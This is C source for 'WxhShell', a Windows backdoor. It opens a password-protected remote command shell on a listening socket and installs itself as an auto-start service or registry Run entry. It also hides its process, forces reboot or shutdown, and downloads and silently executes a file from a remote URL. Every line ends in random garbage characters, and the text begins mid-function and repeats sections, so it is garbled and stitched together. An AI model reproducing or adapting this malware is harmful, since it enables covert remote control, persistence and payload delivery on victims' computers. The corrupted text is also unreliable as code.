    } m:O2_%\l  
    break; :9q^  
    } J*&=J6  
  // 关机 by<@Zwtf  
  case 'd': { !;C(pnE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cE>/iZc  
    if(Boot(SHUTDOWN)) 'wlP`7&Tn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "(&`muIc  
    else { &:f'{>3z  
    closesocket(wsh); $v@$oPmMj  
    ExitThread(0); L=!kDU  
    } = d.W'q|  
    break; }gRLW2&mR>  
    } 8B+^vF   
  // 获取shell 7:E#c"S q  
  case 's': { L\CM);y  
    CmdShell(wsh); @@mW+16  
    closesocket(wsh); 'c(Y")QP  
    ExitThread(0); ,5uDEXpt{  
    break; 7$P(1D4  
  } Xtnmh)'K~#  
  // 退出 Pm;*Jv%  
  case 'x': { BW=6gZ_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [7w_.(f#  
    CloseIt(wsh); MtTHKp   
    break; EoW zHa  
    } I19F\ L`4  
  // 离开 bO3KaOC8N  
  case 'q': { 48rYs}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]=<@G.[=  
    closesocket(wsh); "E!p1  
    WSACleanup(); 8Kkr1}!wd  
    exit(1); z4:09!o_  
    break; 4tNgK[6M  
        } &Sp:?I-  
  } 7B"aFnK;[J  
  } I3b-uEHev  
o;C)!  
  // 提示信息 3PeJPw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x l=|]8w  
} b?L43t,  
  } {z ~ '  
8GQs9  
  return; Z9bPj8d  
} fltc dA  
<WkLwP3^  
// shell模块句柄 `P*j~ZLlXN  
int CmdShell(SOCKET sock) H}rP{`m  
{ oC>~r 1.j  
STARTUPINFO si; dU n#'<g5  
ZeroMemory(&si,sizeof(si)); _fw'c*j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f 2f $aZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ]^%3Y  
PROCESS_INFORMATION ProcessInfo; K 2v)"|T)  
char cmdline[]="cmd"; Yy1Pipv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^T>.04";x  
  return 0; THZ3%o=X  
} ^r$5];n  
cn{l %6K  
// 自身启动模式 4}j}8y2)H  
int StartFromService(void) ]z NL+]1_  
{ :g_ +{4  
typedef struct W0hLh<Go  
{ ] "_'o~  
  DWORD ExitStatus; T3Fh7S /  
  DWORD PebBaseAddress; Yb*}2  
  DWORD AffinityMask; FA,CBn5%  
  DWORD BasePriority; ,oe4*b}O=.  
  ULONG UniqueProcessId; 2YQ$hL~  
  ULONG InheritedFromUniqueProcessId; 6, ~aV  
}   PROCESS_BASIC_INFORMATION; 4 -W?u51"  
.quc i(D  
PROCNTQSIP NtQueryInformationProcess; 1Btf)y'  
beoMLHp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D1 z3E;:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z O^ +KE"  
qB`P7!VN^]  
  HANDLE             hProcess; =?hlgQ  
  PROCESS_BASIC_INFORMATION pbi; I+SL0  
__[q`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .X9^A,9  
  if(NULL == hInst ) return 0; f5v|}gMAX  
|xOOdy6 )~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); up?8Pq*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <j' #mUzd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s+11) ~  
# L R[6l  
  if (!NtQueryInformationProcess) return 0; umeb&\:8S-  
f#jAjzmYL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @lI/g  
  if(!hProcess) return 0; /k,p]/e  
KN=Orx7Gy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |r%P.f:y{X  
rX[R`,`>Z[  
  CloseHandle(hProcess); <LE>WfmC  
f$L5=V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n3w2&  
if(hProcess==NULL) return 0; UJI1n?~  
T+fU +GLD  
HMODULE hMod; E^!%m8--  
char procName[255]; 9}-,dgAB  
unsigned long cbNeeded; C~B^sG@;  
+^.(3Aw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >jcNo3S  
= ~yh[@R)  
  CloseHandle(hProcess); 'D bHXS7N  
:;EzvRy  
if(strstr(procName,"services")) return 1; // 以服务启动 r |(Lb'k  
>9DgsA`'  
  return 0; // 注册表启动 '*pq@|q;t  
} z y.Ok 49  
#q-t!C%E  
// 主模块 p`It=16trT  
int StartWxhshell(LPSTR lpCmdLine) g7F>o76M  
{ B:l(`G  
  SOCKET wsl; h1"#DnK7  
BOOL val=TRUE; zr,jaR;  
  int port=0; 6 ^p 6v   
  struct sockaddr_in door; =3@^TW(j  
y ^YrGz.  
  if(wscfg.ws_autoins) Install(); R_lNC]b0  
vi'K|[!?  
port=atoi(lpCmdLine); jN[Z mJz'  
MRs8l  
if(port<=0) port=wscfg.ws_port; 9QpKB c  
u3q!te  
  WSADATA data; 0Y\u,\GrxW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; = zsXa=<  
<1"6`24  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   twJck~l~n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GovGh? X#x  
  door.sin_family = AF_INET; /HLQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bBZvL  
  door.sin_port = htons(port); @sVBG']p  
ALFw[1X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N @k:kI  
closesocket(wsl); S"lcePN  
return 1; Dj[D|%9a  
} Dhq7qz  
'0[l'Dt'  
  if(listen(wsl,2) == INVALID_SOCKET) { f1JvP\I0Q  
closesocket(wsl); fd(>[RP?  
return 1; Blu^\:?#z-  
} e Q0bx&  
  Wxhshell(wsl); FC(m)S2  
  WSACleanup(); oI^iL\\2h  
\A':}<Rj  
return 0; #x'C  
eM8u ;i  
} 0\.y0 K8  
A M# '(k(  
// 以NT服务方式启动 %!WQ;(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6MZfoR  
{ 1,4kw~tA  
DWORD   status = 0; <n0-zCf  
  DWORD   specificError = 0xfffffff; 55hJRm3  
o8bV z2E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #B54p@.}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .Yo# vV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iHTxD1 D+H  
  serviceStatus.dwWin32ExitCode     = 0; u U\UULH0  
  serviceStatus.dwServiceSpecificExitCode = 0; GK:*|jV  
  serviceStatus.dwCheckPoint       = 0; ~bg FU  
  serviceStatus.dwWaitHint       = 0; nc([e9_9v  
U%2pbGU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pp/Cn4"w  
  if (hServiceStatusHandle==0) return; }Vg &9HY  
7HFw*;  
status = GetLastError(); F)!B%4  
  if (status!=NO_ERROR) I/fERnHM/+  
{ AM,@BnEcuT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GT`:3L  
    serviceStatus.dwCheckPoint       = 0; !k Hpw2  
    serviceStatus.dwWaitHint       = 0; )R,*>-OPJL  
    serviceStatus.dwWin32ExitCode     = status; _^Rf*G!  
    serviceStatus.dwServiceSpecificExitCode = specificError; $7,n8ddRy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r*y4Vx7  
    return; R$wo{{KX  
  } g5_]^[up w  
v"\Q/5p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =f?|f  
  serviceStatus.dwCheckPoint       = 0; yG{'hx6H  
  serviceStatus.dwWaitHint       = 0; %5$yz|:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BIS5u4  
} cl)%qIXj}H  
n`;=^^B  
// 处理NT服务事件,比如:启动、停止 HtPasFrJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8+Oyhd*|  
{ `UGHk*DL)  
switch(fdwControl) >4b-NS/}0  
{ @/yef3  
case SERVICE_CONTROL_STOP: <LH(>  
  serviceStatus.dwWin32ExitCode = 0; `+{|k)2B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Iy>oV  
  serviceStatus.dwCheckPoint   = 0; szGp<xv_p  
  serviceStatus.dwWaitHint     = 0; -"#;U`.oh7  
  { U2\zl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /5EM;Mx  
  } ESL(Mf'  
  return; S3A OT  
case SERVICE_CONTROL_PAUSE: [r<lAS{ .  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +)dQd T0Fq  
  break; P]bI".A8  
case SERVICE_CONTROL_CONTINUE: k[&+Iy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rs`H':a/  
  break; XN'x`%!*3#  
case SERVICE_CONTROL_INTERROGATE: P0Z1cN}  
  break; wRCGfILw  
}; 2*ZB[5_V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M\ B A+  
} Rbm"Qz  
]9pK^<  
// 标准应用程序主函数 dX^OV$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g!,>.  
{ {|9x*I  
@rB!47!  
// 获取操作系统版本 "d^hY}Xx  
OsIsNt=GetOsVer(); [yF>W$Bn%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H<92tP4M  
}uz*6Z(S  
  // 从命令行安装 _e E(P1  
  if(strpbrk(lpCmdLine,"iI")) Install(); w)2X0ev"  
0O5(\8jM  
  // 下载执行文件 :7 Ro9z8  
if(wscfg.ws_downexe) { \#?n'qyj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B b_R~1 l  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]>M{Q n*  
} FJ#:RC  
QVA)&k'T,  
if(!OsIsNt) { wxYB-Wh<  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ )owj^sA  
HideProc(); 8+5 z-vd  
StartWxhshell(lpCmdLine); -rb]<FrL^  
} $d? N("L  
else _BHR ?I[w  
  if(StartFromService()) e@}zp  
  // 以服务方式启动 ;-Fr^|do y  
  StartServiceCtrlDispatcher(DispatchTable); w 4-E@>%  
else > 1 {V  
  // 普通方式启动 ,1J+3ugp&  
  StartWxhshell(lpCmdLine); mltG4R ?  
g?'pb*PR  
return 0; Vj(}'h-c\  
} t6V@00M@  
@62QDlt;  
*8y kE  
f4eLnY  
=========================================== oNH&VHjU  
&.~Xl:lq  
G$FNofQx  
j{PuZ^v1  
HMDQEd;  
Huzw>  
" unn2MP'  
DWT4D)C,U  
#include <stdio.h> 4|i.b?"  
#include <string.h> H=Sy.  
#include <windows.h> $!F_K  
#include <winsock2.h> doM}vh)6  
#include <winsvc.h> N]qX^RSb  
#include <urlmon.h> iX ;E"ov]  
U6SgV 8  
#pragma comment (lib, "Ws2_32.lib") Q(Uj5aX  
#pragma comment (lib, "urlmon.lib") DY]\@<ez  
p<%76H A  
#define MAX_USER   100 // 最大客户端连接数 TXx%\V_6  
#define BUF_SOCK   200 // sock buffer HivmKn`  
#define KEY_BUFF   255 // 输入 buffer 2Hltgt,  
eTi r-7  
#define REBOOT     0   // 重启 *oR`l32O0z  
#define SHUTDOWN   1   // 关机 G+Vlaa/7  
zSs5F_  
#define DEF_PORT   5000 // 监听端口 >9KQWeD  
38(Cj~u=3  
#define REG_LEN     16   // 注册表键长度 CYlZ<W'  
#define SVC_LEN     80   // NT服务名长度 erG@8CG  
%*4Gx +b  
// 从dll定义API Ga o(3Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L\p@1N?K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D#lx&J.s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Kb]v\C:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8GC(?#Kb  
c o}o$}  
// wxhshell配置信息 7vBB <\  
struct WSCFG { };m.Y>=)K  
  int ws_port;         // 监听端口 N"d*pi#h  
  char ws_passstr[REG_LEN]; // 口令 q r12"H  
  int ws_autoins;       // 安装标记, 1=yes 0=no W/Rb7q4v  
  char ws_regname[REG_LEN]; // 注册表键名 ba_T:;';0  
  char ws_svcname[REG_LEN]; // 服务名 +jk_tPSe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [;5?=X,LD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JvFU7`4@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O{" A3f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /W !A^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;dq AmBG{8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nr/^HjMV  
i Rwqt-WZ  
}; (+g!~MP  
enu",wC3  
// default Wxhshell configuration lqC a%V  
struct WSCFG wscfg={DEF_PORT, -QaS/WO_  
    "xuhuanlingzhe", cpV:y  
    1, 4v#3UG  
    "Wxhshell", mtEE,O!+  
    "Wxhshell", =d_@k[8<0  
            "WxhShell Service", A]nDI:pO|  
    "Wrsky Windows CmdShell Service", >j]*=&,7  
    "Please Input Your Password: ", sePOW#|  
  1, w+vYD2 a  
  "http://www.wrsky.com/wxhshell.exe", *GsrG*OM*D  
  "Wxhshell.exe" .^s%Nh2jM  
    }; 4i'2~w{/  
?3tR(H<  
// 消息定义模块 1KxtHLLU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K%h83tm+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~g2ColFhu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fT.5@RR7^  
char *msg_ws_ext="\n\rExit."; =dbLA ,z9  
char *msg_ws_end="\n\rQuit."; LyA=(h6  
char *msg_ws_boot="\n\rReboot..."; l7 D/ ]&  
char *msg_ws_poff="\n\rShutdown..."; qIQvix$8  
char *msg_ws_down="\n\rSave to "; SJVqfi3A  
Z iDmx-X  
char *msg_ws_err="\n\rErr!"; 5Am*1S^  
char *msg_ws_ok="\n\rOK!"; Fs:l"5~>1  
(JC -4X_  
char ExeFile[MAX_PATH]; ZMJ\C|S:  
int nUser = 0; s#sr1[9}G  
HANDLE handles[MAX_USER]; <_""4  
int OsIsNt; ^r=#HQGt  
9;;1 "^4/  
SERVICE_STATUS       serviceStatus; 7<{Zq8)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #'z\[^vp  
))63?_  
// 函数声明 Y VTY{>Q  
int Install(void); Ks09F}  
int Uninstall(void); wP/rR D6  
int DownloadFile(char *sURL, SOCKET wsh); Q>}I@eyJ  
int Boot(int flag); 3 Yl[J;i  
void HideProc(void); u7`<m.\  
int GetOsVer(void); [AR$Sw60  
int Wxhshell(SOCKET wsl); ;BoeE3* 6  
void TalkWithClient(void *cs); _*Vq1D]C  
int CmdShell(SOCKET sock); -tx)7KV-  
int StartFromService(void); K1z"..(2J  
int StartWxhshell(LPSTR lpCmdLine); vE?qF9I{$0  
D4[5}NYU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'ESy>wA{y<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0*:]eM};P  
wSIt"g,%  
// 数据结构和表定义 #:Cr'U  
SERVICE_TABLE_ENTRY DispatchTable[] = ika{>hbH  
{ \@OKB<ra  
{wscfg.ws_svcname, NTServiceMain}, oG@P M+{  
{NULL, NULL} F>A-+]X3o  
}; 7+T\  
Q*$x!q  
// 自我安装 O0b8wpF f  
int Install(void) ]2zx}D4f  
{ wrsETB c  
  char svExeFile[MAX_PATH]; k1-?2kf"{  
  HKEY key; nEOhN  
  strcpy(svExeFile,ExeFile); M~N'z /  
.:RoD?px  
// 如果是win9x系统,修改注册表设为自启动 f<|8NQ2y.  
if(!OsIsNt) { u# =N8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >)N,V;j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +$},Hu69j  
  RegCloseKey(key); m/Yi;>I(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D zDt:.JZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !h9 An  
  RegCloseKey(key); aeUm,'Y$  
  return 0; BzWmV .5  
    } wm2Q(l*HH  
  } P!bm$h*3?  
} HTx7._b  
else { DU1,i&(  
103^\Av8  
// 如果是NT以上系统,安装为系统服务 I8^z\ef&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sMO3eNLn  
if (schSCManager!=0) d G:=tf&1R  
{ I[t)V*L9  
  SC_HANDLE schService = CreateService }3[ [ONA  
  ( 8CEy#%7]}  
  schSCManager, gn(n</\/O  
  wscfg.ws_svcname, TS3 00F  
  wscfg.ws_svcdisp, Ti' GSL  
  SERVICE_ALL_ACCESS, E) z g,7Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c1n? @L  
  SERVICE_AUTO_START, RI*Q-n{  
  SERVICE_ERROR_NORMAL, 'inWV* P*g  
  svExeFile, 9pjk3a  
  NULL, >656if O  
  NULL, j<L!ONvJ1  
  NULL, c yN_Sg  
  NULL, 89 (k<m  
  NULL RPp_L>&~<  
  ); &aHj;Z(  
  if (schService!=0) 6K<vyr40  
  { i1G}m Yz_  
  CloseServiceHandle(schService); EKoCm)}d  
  CloseServiceHandle(schSCManager); kc "U)>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )0d3sJ8  
  strcat(svExeFile,wscfg.ws_svcname); 2,_BO6 !d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qgf_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6(ja5)sn*  
  RegCloseKey(key); ,:z@Ji  
  return 0; F` ?pZ  
    } + qS$t  
  } /D~ ,X48+  
  CloseServiceHandle(schSCManager); AMO{?:8Y;  
} Pel3e ~?t  
} %|,j'V$  
f'%}{l: ss  
return 1; H3b@;&`&  
} ,e,fOL  
a{u)~:/G  
// 自我卸载 ].1R~7b  
int Uninstall(void) %l5J  
{ K, 35*  
  HKEY key; %OzxR9  
Ajq<=y`NzV  
if(!OsIsNt) { *?i~AXJm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E&"bgwav{(  
  RegDeleteValue(key,wscfg.ws_regname); _|s{G  
  RegCloseKey(key); #U6Wv1H{Lp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q&P"  
  RegDeleteValue(key,wscfg.ws_regname); 02=eE|Y@  
  RegCloseKey(key); X#Hs{J~@p  
  return 0; naAZR*(A  
  } LL:B H,[  
} ]p$fEW g  
} 9RAN$\AKy  
else { Pu}2%P)p  
EnfSVG8kB8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y|1-,u.$  
if (schSCManager!=0) ;%Z)$+Z_)<  
{ 7j@TW%FmV\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _\u'~wWl  
  if (schService!=0) G:A` n;E0  
  { L-$GQGk{  
  if(DeleteService(schService)!=0) { [Si`pPvl  
  CloseServiceHandle(schService); /oh[ Nu1D  
  CloseServiceHandle(schSCManager); |*8 J.H*r  
  return 0; n.Ekpq\  
  } FVHEb\Z  
  CloseServiceHandle(schService); m:K/ )v*  
  } Thz&wH`W  
  CloseServiceHandle(schSCManager); g9 g &]  
} Nhuw8Xv  
} 6R"& !.ZF  
,Y}HP3  
return 1; B(E+2;!QF  
} KZ&8aulP  
X $J  
// 从指定url下载文件 +jQW6k#  
int DownloadFile(char *sURL, SOCKET wsh) hfVJg7-  
{ o2&mhT  
  HRESULT hr; z,$^|'pP  
char seps[]= "/"; [?_^Cy  
char *token; 4fp}`U  
char *file; 02?y%  
char myURL[MAX_PATH]; 4fQ<A <2/  
char myFILE[MAX_PATH]; Z+FJ cvYx  
i. 6c;KU  
strcpy(myURL,sURL); $M#G;W5c  
  token=strtok(myURL,seps); a$"3T  
  while(token!=NULL) E ekX|*  
  { $,F1E VJ  
    file=token; ,n^{!^JW  
  token=strtok(NULL,seps); >pUR>?t"  
  } _KLKa/3  
f6u<.b  
GetCurrentDirectory(MAX_PATH,myFILE); <U$x')W  
strcat(myFILE, "\\"); H $XO] \  
strcat(myFILE, file); G[@RZ~o4  
  send(wsh,myFILE,strlen(myFILE),0); 'H zF/RKh  
send(wsh,"...",3,0); ^#KkO3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &M&*3  
  if(hr==S_OK) xN'$ Yh  
return 0; nD{o8;  
else ~5q1zr)E  
return 1; 58V`I5_  
_h6SW2:z!E  
} l1l=52r   
#p*D.We  
// 系统电源模块 "m4. _4U  
int Boot(int flag) @>cz$##`  
{ L 4V,y>  
  HANDLE hToken; tp*.'p-SI  
  TOKEN_PRIVILEGES tkp; ^CO{86V  
~G,_4}#"pM  
  if(OsIsNt) { 9kHVWDf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1-0tG+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HCfme<'  
    tkp.PrivilegeCount = 1; n+MWny  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jVi> 9[rz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fG9 ;7KG  
if(flag==REBOOT) { hz:h>Hwy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  |W_;L6)  
  return 0; N,W ?}  
} e`n+U-)z  
else { *IX<&u#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iR?}^|]  
  return 0; mC2K &'[  
} /| q .q  
  } (qglD  
  else { V56WgOBxz  
if(flag==REBOOT) { 7UIf   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;/:Sx/#s  
  return 0; J0V`sK  
} "!+gA&  
else { >)F "lR:o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *5IB@^<  
  return 0; :*f  2Bn  
} sYjhQN=Y*  
} Z1#u&oX  
27k(`{K  
return 1; #u}%r{T  
} _%q~K (::  
 ^M{,{bG  
// win9x进程隐藏模块 G54J'*Z  
void HideProc(void) gk6UV2nE?  
{ q3AqU?f  
 0:f]&Ng  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dgL>7X=7  
  if ( hKernel != NULL ) D"J',YN$  
  { w lH\w?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H4s~=iB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N0H=;CIQ  
    FreeLibrary(hKernel); s3HVX'   
  } #F`A(n  
P 0e-v0  
return; p}^5ru  
} < Hkq  
Nai5!_'  
// 获取操作系统版本 <XIIT-b[  
int GetOsVer(void) '`3#FCg  
{ "|h%Uy?XY  
  OSVERSIONINFO winfo; 6|zhqb|s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &E_a0*)e  
  GetVersionEx(&winfo); #,%7tXOLR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &)Xc'RQ.C  
  return 1; I|U'@E  
  else `&M,B=E  
  return 0; 51SmoFbMz  
}  .qgUD  
cg.{oMwa  
// 客户端句柄模块 $iu[-my_  
int Wxhshell(SOCKET wsl) 'v"=   
{ Nob(D'vSr  
  SOCKET wsh; } o%^ Mu B  
  struct sockaddr_in client; j{@6y  
  DWORD myID; Qc; kj  
rZ~w_DK*  
  while(nUser<MAX_USER) wT4@X[5$  
{ T.4&P#a1  
  int nSize=sizeof(client); ,~1"50 Hp@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]mTBD<3\  
  if(wsh==INVALID_SOCKET) return 1; Nc;O)K!FH  
V)j[`,M:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `POzwYh  
if(handles[nUser]==0) X2z<cJG|d@  
  closesocket(wsh); ilA45@  
else u^1#9bAW8  
  nUser++; AcC &Q:g  
  } c.ow4~>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D|N4X`T`  
(N7 uaZ?Z  
  return 0; T5(S2^)o  
} ^[M{s(b  
558P"w0"X  
// 关闭 socket d$zJLgkA  
void CloseIt(SOCKET wsh) 3v/B*M VI  
{ +0'F@l  
closesocket(wsh); K3T.l#d'L  
nUser--; m`/Nl<  
ExitThread(0); EB~]6.1  
} 1( pHC  
l":W@R  
// 客户端请求句柄 C=: <[_m`  
void TalkWithClient(void *cs) mdj%zJ8/  
{ b/wpk~qi  
XKoY!Y\  
  SOCKET wsh=(SOCKET)cs; i"^>sk  
  char pwd[SVC_LEN]; kT% wt1T4  
  char cmd[KEY_BUFF]; rE3dHJN;  
char chr[1]; j~CnMKN  
int i,j; a`xq h2P  
X8 nos  
  while (nUser < MAX_USER) { JMb_00r  
al2t\Iq90  
if(wscfg.ws_passstr) { 8-q^.<9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G t w>R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !wAT`0<94F  
  //ZeroMemory(pwd,KEY_BUFF); U!wi;W2  
      i=0; $v^hzC  
  while(i<SVC_LEN) { :E:e ^$p  
IhnBp 6p9  
  // 设置超时 $l7^-SK`E  
  fd_set FdRead; bc)>h!'Y  
  struct timeval TimeOut; U7r8FLl  
  FD_ZERO(&FdRead); ] lB zpD  
  FD_SET(wsh,&FdRead); ARk(\,h  
  TimeOut.tv_sec=8; 8nz({Mb9Z  
  TimeOut.tv_usec=0; ^Q6J$"Tj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /jbAf]"F;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +>$]leqa  
!X>u.}?g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =2Y;)wrF  
  pwd=chr[0]; >Vuvbo   
  if(chr[0]==0xd || chr[0]==0xa) { v+c>iI  
  pwd=0; ajYe?z  
  break; (O.%Xbx3  
  } jL VJ+mu  
  i++; `Q] N]mK  
    } -YRIe<}E -  
JF~i.+{ h  
  // 如果是非法用户,关闭 socket aZfMeW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %fS9F^AK  
} $] 6u#5  
Z8$}Rpo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D=tZ}_'{t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3h:j.8Z  
m[hL GD'Fi  
while(1) { *$f=`sj  
ys_2?uv  
  ZeroMemory(cmd,KEY_BUFF); h Yu6PWK  
$ Y/9SD  
      // 自动支持客户端 telnet标准   ^X#y'odtbS  
  j=0; tvkdNMyX%9  
  while(j<KEY_BUFF) { 6j#JhcS+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);   f XD+  
  cmd[j]=chr[0]; .RD<]BxJ  
  if(chr[0]==0xa || chr[0]==0xd) { K$E3RB_F  
  cmd[j]=0; .)Tj}Im2p  
  break; tgRj8 @  
  } }gp@0ri%5  
  j++; 9zaN fs  
    } ^-o{3Q(w  
MP]<m7669*  
  // 下载文件 'Zx5+rM${}  
  if(strstr(cmd,"http://")) { #]#9Xq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y&|Z*s+ +}  
  if(DownloadFile(cmd,wsh)) w)btv{*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [%W'd9`>  
  else ~!S3J2kG{  
